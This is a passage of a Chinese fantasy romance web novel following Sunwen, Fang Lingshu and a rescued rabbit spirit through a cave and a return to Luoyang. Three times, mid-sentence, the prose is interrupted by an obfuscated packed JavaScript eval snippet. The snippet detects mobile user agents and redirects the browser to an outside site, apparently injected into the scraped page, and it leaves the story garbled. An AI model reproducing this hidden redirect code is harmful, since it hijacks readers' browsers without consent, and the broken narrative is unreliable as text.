方灵枢失笑:“只要你一直在洛阳城,总归会看见我变老的模样——嘶,你似乎不比我大,怎么说得好像我是个孩子一样。” 素问笑道:“虽然不是孩子,但在我眼里,你确实很年轻。” 方灵枢看向素问,见对方正笑盈盈地看着自己,忽然不知道怎么吞咽了,反驳的话被呛咳打回了肺腑,他连忙将火把往前举,企图用前方的场景来吸引素问的注意,不想一阵寒意扑过,夹杂着风雪之意迎面而来,方灵枢只觉得一阵窒息,火把随之熄灭。 继晴空惊雷之后,方灵枢再次产生疑问——山洞里为什么会有风雪?! 13. 星汉西流(三) “方灵枢!” “素问!” 火光突灭,忽然陷入黑暗之中,两人下意识地伸手去抓对方,手猝不及防地握在了一起。 方灵枢的手发凉,手心有些潮,素问的手则温热干爽,孑然不同的触感让两人都有些不适应,素问先松开了手,方灵枢连忙跟着松开,想起方才素问急切的声音,道:“我一切正常,你怎么样?” “我没事,风里有灵……风过去了,应当不会再来。”素问眨了眨眼,迅速适应了黑暗,看清前方出现了十分微弱的蓝光。 方灵枢眼前还是一片漆黑,他摸出火折子,正要重新点燃火把,素问止住他,道:“这阵风可能就是为了防止火源靠近里面——你看得见么?里面有光。” “你的意思是,这里有机关?”方灵枢说罢,又觉得机关做不到这个程度,结合此洞的传说,不由惊道,“难道里面真的有神仙居住?” “也许曾经有,去看看便知道了。” 方灵枢伸出双手,摸索着向前。 素问抿住唇,犹豫一瞬,还是伸出手,抓住方灵枢的衣袖,道:“我抓着你的袖子,跟我来。” “哦,哦好!”方灵枢连忙放下手,由着素问牵住自己。 两人往前走了一段,身后的洞口渐渐变成了一个黄点,洞内的蓝光开始亮了起来。此时方灵枢已经恢复了视力,他看向素问,不知因何缘由,最终还是没有说出自己已经能看见的事。 片刻之后,越过转角,他们终于来到了传说中的丹室,素问看到里间布置,奇道:“好简陋,和我的丹室很像。” 如今再说看不见也说不过去,方灵枢不露痕迹地松了手,佯装轻松地问:“是药圣谷的丹室么?” 素问笑了笑,未置可否,向前走去。 方灵枢扫了一圈,只见三面洞壁都是书柜,不过里面的书早已经搬空,只落下几根竹简。素问背着手沿着书柜走,到遗落的残卷前,最多垂头看一看,也不上手去拿,很快便看完了书柜,转向了丹室中间。方灵枢的目光随之落在其上——原本放置丹炉的地方,如今为一个半人高石台所替代,但旁边的蒲团仍在,甚至还有一个残破不堪的扇子。石台上方便是此处光源所在,一束幽蓝的火光被困在一大块冰中,犹自燃烧着。 素问不知何时站到了桌旁,凑近去看火焰,道:“是石中火。” 方灵枢难免惊愕:“你是说……三昧真火中的石中火?” “是啊。”素问笑着抬起头,透过冰火虚影看去,方灵枢的身姿似乎产生了变化,好像高了些,也壮了点,是方灵枢,又不像方灵枢,反而给素问一种十分熟悉的感觉。 素问心跳漏了一拍,她踮起脚看过去,发现方灵枢仍旧是平时的模样,并没有变。 但方灵枢还是察觉到了素问的变化,问道:“怎么了?” “我……”素问有些茫然,“我好像看到你以后的模样了。” “嗯?石中火还有预言的功能么?”方灵枢俯身去看,过了片刻,疑惑道,“你没有变化啊。” “或许是因为我以后也不会变。”素问一边说着,一边再次透过冰火去看,这次方灵枢离得近,看上去没区别,她不禁失笑,“一定是我眼花了。” 方灵枢直起身,冲石中火抬了抬下巴,道:“好了,我们已经看明白了老君洞的玄妙之处,你有何打算,想将它带回去么?” 素问想到九皋山的禁制,摇头道:“此火在山中应当有些年数了,不知当日留火的高人有何用意,贸然取走,我担心会影响山中生灵。” “但是冰火不相容,这些冰迟早会消失的。” 素问垂眸看火,想了片刻,仍旧放弃了带走的想法:“也许冰消失的那一天,火也会熄灭,亦或许它们不再彼此相对,老君洞也温暖如春,不管如何,不懂此间来历之前,还是保持现状为好。” 方灵枢有些愣神:“冰与火不再敌对么……” “我瞎说呢。”素问笑着将手帕叠成四层,让方灵枢将手覆在上面,约莫过了一刻钟后才让他抽手,此时看去,红肿已经好了很多。 方灵枢奇道:“原来冰敷真有奇效!” 素问娓娓道:“刚肿起来的一两天内,冰敷更好,过了这段时间就要热敷了,不过夏日不好找冰,我们恰好碰上,原该带一些走,可我又担心此处冰火是相互制衡的,若少一块恐怕会打破平衡。” 方灵枢忙道:“我已经好了许多,可以自愈的。” 素问点了点头,见方灵枢有些被冻着了,便道:“我们回去罢。” 方灵枢自然没有异议,倒是素问,临走之前,蓦然心中一动,她立刻回头,看向对面书架后的墙壁。方灵枢问道:“怎么了?” “有些奇怪……”虽隔得远,素问还是能看清山壁的模样,并没有任何特殊之处,若是她一个人,或许就过去看看了,但是方灵枢在身边,对于未知之物,她不敢贸然出手,思索一瞬后,便决定放弃,“是错觉,还是回去为好。” 两人并肩往回走,一路上,方灵枢一直若有所思的模样,直到前面逐渐变黑,素问主动问及是否需要引路,方灵枢才回过神,先是伸手让素问抓着自己的衣袖,而后忍不住问:“你如何认得石中火?” 素问敷衍道:“典籍上有呀,你没看到过么?” 方灵枢认真发问:“什么典籍?” 素问缓了脚步,有些犹豫,最终念及往后相处,总归避免不了方灵枢发现自己异于常人的可能,还是斟酌着说道:“方医师,其实除了药圣谷的长辈,我还有个师父,他是修道之人,我跟着他学了很久,石中火只是微不足道的一部分,我还会辟谷,你信么?” 方灵枢沉默了许久。 素问轻声问:“是不是吓到你了?” “啊?没、没有!”方灵枢道,“只是我一贯不信鬼神之说,当今世道,也确实不像有仙人存在,毕竟真有仙门的话,怎么会任由人间变成这样呢?” 素问叹道:“怎么管呢?感化还是杀戮?凡人能够单以善恶区分么?” 方灵枢短促地笑了一声,显然不认同,不过他没有继续就此事争论,避重就轻道:“以前虽然不信,但是我相信你不会骗人,怪道方才你不吃干粮也能保持体力,不过要是众人都学会辟谷术,就能救下不少人了。” 素问解释道:“辟谷术很难的,学会以后也不是真的什么也不吃,而是身体在吐纳灵气,人间灵气有限,如果所有人都学会,那就是所有人都吃不饱了。” “原来如此。”方灵枢了然点头,又问,“你师父在哪处仙山修炼?” “唔……不知道,我师父人称瑶山君,或许他的洞府就设在瑶山罢。” “瑶山。”方灵枢重复一声,暗自记住了这个山名,继续问,“除了辟谷,你还会其他仙术么?” 素问轻咳一声,赧然道:“不会,至多身体比平常人强健一些,若是有飞天遁地的本事,我早就带你上去了。” “也是。”方灵枢笑道,“真要有仙法傍身,你一定去仙山求仙问道了,我又怎么会有机会认识你?” 素问转头看向方灵枢,在幽暗之中试图描摹他的轮廓、读懂他的神情,无奈山洞确实太黑了,她也无法看清,如此便无法确认方灵枢说出这样的话,是否带着一丝侥幸。想到这里,素问猛地一摇头,心道:自己不过是来为战神治伤,以后回到仙界,亦或者前往神界,彼此之间都不会再有纠葛,此时侥幸与否又有什么意义? 素问没再开口。 不一会儿,两人回到了洞口处。此时太阳已经完全落了下去,周边昏昏沉沉,与洞内别无二致,方灵枢升起火堆,素问坐在一边看着崖外,只见往下是一片漆黑,向上则星汉灿烂,仿佛天上真的是一条正在流淌的河。 “星汉西流夜未央。” 素问收回目光,看向方灵枢。 方灵枢笑道:“小的时候,母亲担心我的身体,天黑之后便不让我读书,那时我最喜欢夏秋的夜晚。父母睡下后,我常常偷跑到庭院中,星月之光一片澄明,只依靠银辉便能看清文字,耳边是虫鸣蛙声,抬头是漫天星斗,即便是白日里看不进去的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15061033|163002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 书,到了这时都变得很迷人。” 素问柔声道:“因为心变静了。” 方灵枢点头,看着星空,道,“真美,我很喜欢。” 素问不禁问:“你以后还会喜欢么?” 方灵枢看向素问,奇道:“为何会不喜欢?” “如果你不仅仅是你,星辰也变得触手可及,这些喜好还会保留么?” 方灵枢有些茫然,显然是没听明白。 素问问完也觉得自己问得好没道理,别人不觉得是胡言乱语都不容易,她连忙补救道:“我可能是太困……” “不会变。”方灵枢忽然道。 素问一怔:“什么?” 方灵枢正色道:“如果是真心喜欢,只要有这些记忆,不管发生什么,喜欢就是喜欢,不会变的。” 素问愣住,呆呆地看着方灵枢,不知该说什么。 方灵枢一笑,温声道:“你方才说困了,我们休息罢。” 素问回神,垂眸不去看他,淡淡道:“你在火堆边睡罢,我打坐便好。” 方灵枢有些好奇:“是要修行?” “算是。” 方灵枢不再推辞,见素问已经盘腿闭上了眼睛,便背对着火堆,和衣而睡。 夜风在山林之间发出“簌簌”的声音,方灵枢轻浅的呼吸声在其中几乎听不见,过了一会儿,素问睁开眼,目光落在方灵枢的脸上,怔然半晌,最终还是闭上眼,沉入识海之中。 修行不是入睡,按理说是不会做梦的,但素问却清楚地知道自己一定入了梦。 眼前的景象很熟悉,是山崖之上,蒙木树旁,石中火对面所见的幻影站在崖边,临风而立,身上有方灵枢一贯的书卷气,还有一丝悲悯苍生的倦意。 素问脚步一动,发出了声响。 他回过头来,看见素问,微不可察地一点头,权作招呼。 素问有些迟疑:“你是……方医师么?” “方灵枢是我。”他开口,声音低沉,但确实是方灵枢的声线。 其实哪里都很像,但处处又都透露着不一样。 素问敏锐地抓住了这句话的涵义:“你不是方灵枢,而方灵枢是你?” 那人不置可否。 素问抬头看了看天,发现时节并非当下,而是深秋月圆之夜,月明星稀,天河消失不见,她心里不禁生出悲意,同时又有另一个声音提醒自己不该如此轻易为外物所动,从而心生警惕,怀疑这一切变化都是因为这个擅闯别人识海的人,便问:“你为何会来这里?” “想让你看清我的模样。”那人语气平淡,话语却十分缱绻,“他日重逢,希望你还能认出我来。” “只是方灵枢更加年长的模样么?”素问失笑,“这有何难?别说这个样子了,就算是老态龙钟,我也会认得你的。” 那人沉默许久,终于露出一丝笑意:“甚好。” 素问暗道:神神叨叨。 “天亮了。”他远远看向对面群山的黑影,低声道,“回去罢,素问。” “什么?”素问刚问出口,忽然眼前一白,她下意识地闭上眼,再睁开时,天光大亮,她靠坐在山壁上。 方灵枢埋好火堆,见素问醒来,笑道:“这回真的信你修为不高了,怎么打坐修炼也能倒地睡着?” “你……你……”素问瞠目结舌,梦中人和眼前的方灵枢交叠出现,叫她反应不及,过了好一会儿,才注意到自己身处的位置,她垂头看了看披在身上的外衣,问道,“你将我移到此处了?” “不是移……”方灵枢赧然,“地上凉,我想墙壁上……” “墙壁上也一样凉。”素问说罢,立刻扶额,补救道,“但是我不怕冷!而且你给我披了衣服——哎呀!衣服给了我,那你冷不冷?” 方灵枢“噗嗤”笑出声,连连摇头。 素问站起身,将衣服递给方灵枢,刚要道谢,忽听上面传来了李重琲的喊声:“素问——素问——我来救你啦——” 寂静的山林顿时惊起一阵飞鸟,变得喧闹起来。 14. 星汉西流(四) 李重琲有心道歉,天一亮便遣人下山,安排周全了才呼喊素问,得到回应后,一行人配合得当,不到半个时辰便将两个人都拉了上来。 素问顺道折了一支蒙木花,在众人休整的间隙,她蹲在山崖边,往方灵枢的药筐里放摘下的花,回想这一天一夜的经历,与自己的初衷相去甚远,叫人啼笑皆非。 李重琲挪到素问身边蹲下,等了片刻,见素问不理她,便主动要去摘花。 素问这才注意到身边来人,她拦住李重琲,道:“就快好了,李衙内不必忙。” “哎!哎!”李重琲抓耳挠腮。 方灵枢拍拍素问:“李衙内似乎有话跟你说,剩下的我来。” 素问看了看李重琲,心知不听他说,可能又起幺蛾子,便冲方灵枢笑着点了点头,然后站起身,道:“李衙内请。” 李重琲毫不领情,狠狠瞪了方灵枢一眼,在素问回头之前,匆匆跟了上去。 方灵枢视若无睹。 素问不知道两人之间的暗斗,远离众人之后,停下脚步,向李重琲道:“你要说什么?” 李重琲张嘴欲说。 素问抬手止住,强调:“若是求娶一类的话,就不必说了。” 李重琲撇嘴:“你都要跳崖了,我还能不知道么?” 素问扬起嘴角,道:“那你打算说什么?” 李重琲叹道:“对不住。” 素问一怔。 李重琲看她这个反应,当即不悦:“你是何意?难道做错了事,我不会道歉么?” “确实没想到。”素问直说,“我以为你不会觉得自己错。” 李重琲朝天翻了个白眼。 素问越过他看向崖边,发现方灵枢已经站起身,将药筐背上了,笑意立刻到达眼底,留下一句话,便轻快地离开了:“不必介怀,反正我们都没事。” 李重琲只觉得一阵风从耳边过去,药香夹杂着蒙木花香一晃而过,他的目光还来不及追随,就听到了背后传来的说话声。李重琲转身去看,只见素问已经和方灵枢有说有笑了,当即凶狠地眯起眼,开始磨牙:“好你个方灵枢,石水玉也就罢了,我看中的素问,你也敢招惹……” “李衙内,一起下山么?”素问遥遥喊道。 李重琲当即咧嘴一笑:“走!我们一起!” 道士给他们指了条山路,便带着借出的匕首和绳索,独自回山去了。 一行人从山路下去,比来时要轻松不少,这一路上,李重琲有心要挤走方灵枢,又不想被素问发现,只能左顾右盼寻找机会,没过一会儿,还真的被他等来了时机。 山风带来浓重的血腥气,素问和方灵枢第一个闻到了,方灵枢正在辨别气味传来的方向,素问已经往左前方看去,不过她不是根据气味得出的结论,而是随气味而来的妖气。 妖气并不浓重,对方修为很低。 九皋山禁制强大,明月奴靠近也难,怎么会有小妖?素问不禁喃喃:“奇怪……” 这会儿李重琲也闻到了,他看素问的神情,立刻往左前方跑去。 “诶?衙内!”素问不及阻拦,李重琲已经在草丛灌木之中跳着跑远了。 侍从们自然纷纷跟了过去。 小妖到底也是有法力的,对付几个凡人不成问题,素问只得匆匆跟上,方灵枢自然不会独自留下,众人一半山路还未走完,齐齐偏了道。 那小妖所在位置并不远,素问很快赶到,侍从们围成一圈,面面相觑,脸上表情有些精彩。素问不明所以,连忙拨开两人,待看到面前的情景,嘴角一抽。 李重琲蹲在地上,怀里抱着一只受伤的兔子,看到素问才起身,到她面前道:“素问你瞧,多可怜啊,我们救救它罢!” 方灵枢气喘吁吁停在素问身后,闻言不由皱起眉头。 素问看了看兔子,又抬头看李重琲,道:“衙内,比起这只会自愈的兔子,当初被你打成重伤的方医师不是更可怜么?” “那是情有可原!”李重琲说罢,想到自己的目的,忙道,“但是确实不对,我如今改正了!你看,连兔子我都要救,又怎么会去伤害人?” 素问垂眸看着昏迷不醒的兔子精,默立半晌,终是叹了口气,伸手接了过来。 方灵枢将药筐盖好,横过来作垫,供兔子躺下,素问细细查看它的伤势,发现是左腿中了箭,虽然已经自行拔出,但到底失血过多,所以晕了过去。素问撒了金疮药,李重琲主动撕下一片衣角递过来,素问便就势为兔子包好腿,然后将它放到了地上。 李重琲见素问拍拍手,收拾东西就要离开的模样,问道:“不带走么?” 素问奇道:“为何带走?” “它受伤了。” “已经包扎了呀,等它醒了会自行舔舐伤口,过段时间就好了。” 李重琲急道:“可是山里还有其他野兽,它都跑不快,会死的!” 素问淡淡道:“兔子食草,虎狼猎兔,这些都是注定的,如果逃不开,那也没办法。” “那怎么一样?”李重琲争辩道,“草木无情,兔子有血有肉,是知道痛的。” 素问笑问:“因为草木被斩所流的血不是红色,便要断定它们无情么?” 李重琲语塞,讷讷片刻,道:“可是,草木确实没有思想……” 素问不愿多加纠缠:“随衙内如何想罢,总之我不会带这只兔子走。” 按照李重琲以往的做法,别说是救兔子,他不差人就地将其扒皮烤熟就谢天谢地了,今日为了在方灵枢面前胜出一筹,做出了善良的姿态出来,就是拿准了女子心软、天性喜欢小动物的心态,不想在素问这里碰了壁,一时倒有些骑虎难下。 方灵枢提起药筐,道:“无论如何,这只兔子属于山林,带去山下不妥,李衙内实在不放心,可以将它送去真武观,请道长代为照顾。” “有你什么事?”李重琲恶声恶气,“本衙内今日就要救它!就要将这山林野物带去人间坊市!你奈我何?” 方灵枢淡淡道:“你救治生灵是好事,何必因我置气。” “我没有因为你啊,我就是决定要这么做!”李重琲说罢,紧紧抱住兔子,扬长而去。 素问看着华服公子身后缀行一列侍从,觉得十分好笑:“李衙内多大了,怎么行事跟个孩子似的?难为你总是不与他计较。” 方灵枢笑了笑,道:“我们也下山罢?” 素问察觉到方灵枢的回避,直觉其中有端倪,但是别人不愿说,她也就没那么好奇去问了,当即与方灵枢一齐往山下去。 李重琲在前面不远处走得雄赳赳气昂昂,然而这般一往无前的气势没有持续多久,他忽然开始肩头耸动,一个侍从上前,猛地“啊”了一声,凄声道:“衙内——你这是怎么了?!” 素问和方灵枢对视一眼,立刻加快脚步赶了过去,看到李重琲的模样,都是一惊——方才还白白净净的脸上出现了许多红疙瘩,手上最为严重,他抱着兔子,不好挠痒,只能在身上蹭来蹭去。 “李衙内!”素问惊呼,“这是风邪入体,快放下兔子!” “啊?”李重琲不明白兔子怎么是风邪,仰头看来,结结实实连打三个喷嚏。 素问看他如此严重,担心再不去干涉,李重琲可能会窒息,只能抱过兔子,道:“你恐怕是不能接触兔毛,也可能是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15061034|163002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 野兔身上有什么脏东西,如今起了风疹块,还是远离为妙。” 方灵枢取出水壶给李重琲冲洗脸和鼻子,侍从们见状,连忙有样学样,给李重琲擦干净了手,脱了外衣,过了片刻,李重琲才稍稍好转,缓了口气。 这点山路能起这么多波折,素问对李重琲可谓心服口服。 李重琲还是不死心,道:“我带回去适应几天就行。” 方灵枢摇头:“也许情况会更重,兔子还是交给我带回去罢。” 素问自然不会留这只小妖在方灵枢身边,她仰天叹了口气,无奈道:“兔子暂存在我这里,等伤好了,李衙内再遣人送回九皋山便是。” “那我……”李重琲正要多说两句,素问已经双目无神地转过身,径直下山去了。 方灵枢留下一瓶祛风邪的药水,也抬步离开。 李重琲在山风中思索了片刻,总归觉得自己与素问的关系还是更近了一步,心满意足之下,大手一挥,让侍从抬着他下了山。 众人回到洛阳城时,已经是午后了。李重琲又累又饿,本在继续跟着素问和家里的高床软枕之间摇摆,不想刚进城,宝驹便被几人拦路牵走,他本来坐直了身子,看清了来人后,眉头一动,便任由他们去了。 素问在马车里回头看了片刻,奇道:“那是何人下属?竟然让李衙内如此顺从。” 方灵枢赶着马车,闻言答道:“应当是雍王的人。” “雍王是谁?” “官家次子,也是留在宫里唯一一个孩子。” 素问了然:“他和李衙内是同父异母的兄弟。” “正是如此。” 素问对雍王并不是真的感兴趣,问题点到为止,达到确认各自平安的目的便可。 马车继续前行,没过一会儿便到了惠训坊,明月奴等在门口,脸色十分不善,显然早已经知道他们回来,也早就发现了兔子精的存在。 方灵枢缓缓停了马车,低声道:“明月奴似乎不高兴。” 素问抱着兔子下车,率先开口道:“等等跟你解释。” 明月奴抱臂,盯着兔子精,抿唇不语。 素问转向方灵枢,两人默然对视,过了片刻,素问清了清嗓子,道:“那……方医师,你先回去罢,要好好养伤啊,我改日去看你。” 方灵枢笑道:“你受了不少惊吓,也要好好休息才是。” 明月奴目光往上,盯住了方灵枢。 方灵枢自然能感觉到,他没再多说,只冲素问点了点头,然后坐上了车辕,素问退后两步,目送马车缓缓驶远。 明月奴放弃了追问兔子,道:“阿姐,你和方医师之间好像有点不一样了。” “嗯。”素问坦然承认,“也算是同生共死了,关系近了一些。”说罢,又欲盖弥彰地加了一句,“想必他很快就会愿意让我医治了。” 明月奴不疑有他,于是指着兔子道:“那么阿姐,你为何要带着别的妖精回来?” 素问略去坠崖和老君洞的事,只将下山的经历道出,明月奴听了来龙去脉,陷入了沉默,过了好一会儿,才道:“李重琲真是个奇人,但是话说回来,为何兔子精能在九皋山,我却在山下便被压制得寸步难行?” “我也想不明白。”素问皱起眉,推测道,“难道与本体有关?不如去问问司命星君。” 明月奴忙道:“不必不必,也不是什么非去不可的地方。” 素问想想,觉得自己暂时也不会再去,便点头道:“那等需要的时候再问,先将眼前的事做好才是——我要闭关炼药,你呢?” 明月奴笑道:“我自然是守着阿姐呀!顺道练习练习迷心术。” 15. 星汉西流(五) 九皋山归来后几日,安平医庐一直处于闭门的状态,门前来了几波人探看,很快就走了,竟然都没有生出翻墙夜探的想法。 明月奴闭目盘腿而坐,右手闲适地搭在膝盖上,左手捻诀,感觉到石水玉离开,满意一笑。 过了片刻,素问睁眼,散印收势,一缕淡黄轻烟从丹炉顶冒出,凝成一缕,落入了地上的瓷瓶中。素问拿起瓷瓶封好,一抬头,发现为自己护法的明月奴嘴角噙着得意的笑,问道:“你将谁赶跑了?” 明月奴立刻睁眼,道:“没有人!” 素问也不拆穿,起身道:“看来你已经入门,对付不设防的凡人不成问题。” 明月奴知道自己施展迷心术被素问看穿了,忙道:“阿姐放心,我一定循序渐进,绝不冒进,也不会去伤人。” “我相信你。”素问将瓷瓶递过去,道,“只要你不曾在幻术中迷失,想来被迷惑的人就没事。” 明月奴郑重地接过,瓷瓶触手的一瞬间,一股清凉之意直达心底,他不禁一个激灵,惊道:“效力竟然这么大!”说罢,他欣喜地抱住素问的胳膊,道,“阿姐,你也太好了!要不是你,我绝不会想到还有这等好物可以保持心境清明!” 素问摸摸他的头,笑道:“这么小的事,值得如此高兴么?” “那是自然!从来没有谁会为了我的修行操心,阿姐是第一个!” 其实如果真的没有人相助引导,野兽很难开灵识,除非遇见什么难得一见的天材地宝,即便如此,也得日日熏陶才能有一点可能。 素问垂头看明月奴,随着相处的时间越长,眼前的小狐狸身上的谜团似乎就变得越多,那些连明月奴自己都不了解的谜团到底从何而来?想到这里,素问提议道:“等方灵枢的病好了,我跟你去一趟妖界,怎么样?” 明月奴疑惑:“去做什么?” “去寻找你的身世,弄明白到底是谁引你入道。” 明月奴下意识皱起眉头,问道:“这重要么?” “当然了。”素问解释道,“若想在修行的路上走得远,一定要找到来路,明白自己的初心所在,很多修行人由初心生出道心,才能不动如山、稳如磐石。将来面对雷劫时,九天神雷代表天道来叩问,你若是自己也不明白,如何能说服天道?” 明月奴撇嘴嘀咕:“真麻烦。” 素问装作没听见,道:“就这么定了。” 明月奴只得答应:“都听阿姐的。” “快去开门罢,算算日子,朝馨今天该来买药了。”素问让明月奴走在前,到庭院中时,见一道白影一闪而过,奇道,“是那只兔子精么?它的伤好了?” “有阿姐的药在,它前两天就活蹦乱跳了,只是见我如同老鼠见猫。”明月奴无所谓地说着,一边往前屋去。 素问闻言,停了脚步,看了一眼兔子精藏匿的方向后,犹豫一瞬,还是转了方向,跟到角落的仓房前。 兔子瑟缩在装药草的布袋旁。 素问担心它害怕,便停在门后,问道:“你的伤都好了?” 兔子精点了点头。 “认得回去的路么?” 兔子精再次点头。 素问温声道:“识路就好,那你自己赶快回去罢。” 兔子精没动。 素问转身准备离开,忽然身后传来动静,紧接着,一个细弱的女声响起:“我可以留下么?” 素问回头,兔子消失不见,原地趴着一个十三四岁的小女孩,生得粉雕玉琢,身穿藕粉襦裙,模样十分可喜。 这是素问第一回见到妖精从原身化为人形,她惊愕地愣在原地,直到女孩起身来到她的面前,素问垂头看她,总算找回了说话的能力:“你……你为何要留在这里?不怕明月奴么?” “怕……”女孩打了个哆嗦,转而又挺起胸膛,话语清脆有力,“但是阿娘教过我,做妖要知恩图报,仙子救了我,我一定要报答!何况……何况仙子会保护我,谅那个狐狸精也不敢动我一根兔毛!” 素问嘴角一抽,抱臂拒绝:“我没想救你,算不上你的恩人。” “可是确实是仙子的医术起作用了呀。”女孩说罢,见素问默然不语,只能佯作无意地举起一根染血的布条,道,“那恩人是这片衣角的主人么?那日昏昏沉沉,我依稀记得有个凡人少年抱起了我,难道是他?” 素问脑中仿佛有一根弦被拨动,她连忙道:“他是个凡人,妖精与凡人纠葛过深会有什么下场,不必我来告诉你罢?” 女孩天真懵懂地看着素问,显然一无所知。 “总之就是不好,你回去问你母亲便知道了。” “可是阿娘死了,我也不知道该怎么继续修炼,在山里还总是遇见猎人,要不是恩人救我,我肯定也死了。”说到这里,女孩更是坚定,“所以我一定要报恩!还要留在仙子身边!” 素问抿住唇,垂头看着,女孩目光清澈,她很容易便在其中看到了自己,冷漠严肃。 但最初并不是这样,素问也想要报恩,她记得点化自己的那只手,从来也不曾忘记。 僵持片刻,素问败下阵来,她叮嘱道:“如果一定要报恩,那就留在我身边,我会给你机会,但是前提是要听我的,恩情还完,你就立刻回九皋山,知道么?” 女孩笑开,连连点头答应。 素问暗叹,也不知此举是对是错,正在这时,明月奴在前面唤她,素问只能道:“莫要在人前露出原形,也不可施法——对了,你叫什么?” “仙子想怎么叫就怎么叫!”女孩眨眨眼,满脸期许,“请仙子赐名!” “赐名?”素问颇感新奇,但并未喝下这碗迷魂汤,道,“我不会起名,房间里有书,你自己去找一个喜欢的便是。” “可是我不识字,我只认得‘兔’字……”女孩看着素问离去的背影,小声嘟囔着,犹豫了片刻后,还是依从素问的建议,往房里去找书。 素问来到前屋,本以为会见到朝馨,没想到来人是石水玉。 “我先来了一次,见门关着,便沿着洛河走了走,不期然河对岸竟有一处茶楼,等我坐上二层一看,医庐的门竟开了。”石水玉一边说着,一边踱步靠近,满脸不由衷的笑。 明月奴抱臂,探身出去看石水玉口中的茶楼。 素问引着石水玉入座,道:“我以为是那位小娘子来了,本来今日该来的。” “嗯,我今日过来就是为了说这件事。”石水玉看向窗外,神情难辨悲喜,“朝馨不会再来了。” 明月奴奇道:“这里又不收钱,为何不来?” 素问想起朝馨初次问诊时,石水玉所说过的话,问道:“她遇到什么难处了?” “难处一直有,只是看她撑不撑得住。”石水玉叹了一声,难掩失望,“我猜到她会放弃,只是没想到这么快。” 素问觉得奇怪:“她到底是你什么人?你不是说素昧平生么?为何还如此在意?” “我不在意她。”石水玉说得斩钉截铁,“众生皆苦,唯有自渡,若连自己都放弃、连自己都不在意,别人何必操心?” “确实。”素问想到了阿昭母子,她坚信医者能治病却无法救命,所以哪怕心里惦记,也绝不伸手去干预,只在洛阳城里等着阿昭来求助。沉默片刻后,素问看向石水玉,道:“我还是第一回见你如此沮丧。” 石水玉扬起嘴角,似笑非笑:“我以后常带这样的病人来,你多见几次就习惯了。” 明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15065506|163002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 月奴不悦:“我阿姐关心你,你这么阴阳怪气做什么?” 石水玉一怔,诧异地看向素问。 素问温声道:“如果真的不在意,就不要难过,如果放不下,不如再坚持一下——她家住在何处?我去上门行医,怎么样?” 石水玉连忙摇头:“她家人不讲道理,会伤到你,别去。” “谁?谁敢伤素问?”李重琲大踏步进来,叉腰一站,十分霸道,“素问,你想去哪里就尽管放心去,有我李重琲在,看谁敢动你一根汗毛!” 素问忽然想到兔子精的“一根兔毛”说,当即笑出声来。 李重琲莫名,挠了挠头,问:“哪里好笑?” 素问收起笑容,满脸严肃地摇了摇头。 石水玉笑道:“衙内所言在理。” 李重琲得了夸赞,耸耸眉毛,眉开眼笑。 “是你!”一个娇俏的声音从后门传来。 众人一起看去,除了素问以外,其余四人因为各个缘由瞪大了眼睛。兔子精化成的女孩跑到李重琲面前,笑眯眯地正要说话,忽听素问轻轻一咳,她一怔之后,便打消了认恩人的想法,搭讪道:“你是谁?怎么生得如此好看?” 素问、明月奴、石水玉:“……” 李重琲上下打量了面前的小女孩两眼,一点不为所动,开口便煞风景:“哪里来的野孩子?谁让你翻去素问的院子里了?快回家去!” 兔子精噎住,争辩道:“我不是野孩子!我就住在这里!” 李重琲皱眉:“胡说!我怎么没见过你?” 兔子精求助地看下素问,素问只能道:“她是一个朋友家的孩子,暂居此处。” 李重琲听完,一副恍然大悟的模样,敷衍道:“自己玩去罢,记得别给素问添麻烦!” 兔子精扁了扁嘴,“登登登”跑到素问身边,摊开手里拿着的书,指着其中两个字,低声道:“仙子,这个这个,兔什么?” 是《诗》“王风”中的一句:有兔爰爰,雉离于罗。 自由自在的兔子,但是如今执意因报恩而陷落红尘,还能再得自由么? 素问抬眼,道:“爰爰。” “我叫爰爰!”兔子精昂首完成了自我介绍。 “是挺圆。”李重琲笑着把拦路的爰爰拨到一边,半倾过身,向素问道:“你想找谁?也不必去了,我去将人带来。” “不……”素问刚开口,便被石水玉打断。 “衙内好主意。”石水玉站起身,“我带你去。” “有美人相陪是最好了!”李重琲蹭到石水玉身边,笑问,“我们何时走?” “此事有些急,衙内若是现在得空,立刻出发可好?” “这么快?”李重琲摸着下巴想了想,发现现在出发除了出人意料之外,并不耽误自己任何事,便答应了下来。 爰爰红着眼看他们你来我往地敲定了行程,眼见着李重琲与石水玉结伴出门,嘴扁了扁,道:“你不记得自己救下的兔子了么?” 李重琲脚步顿住,一拍脑袋,向素问道:“是呢,我今日来就是想问问,兔子还好么?” 素问微笑:“很好,已经送回九皋山了。” 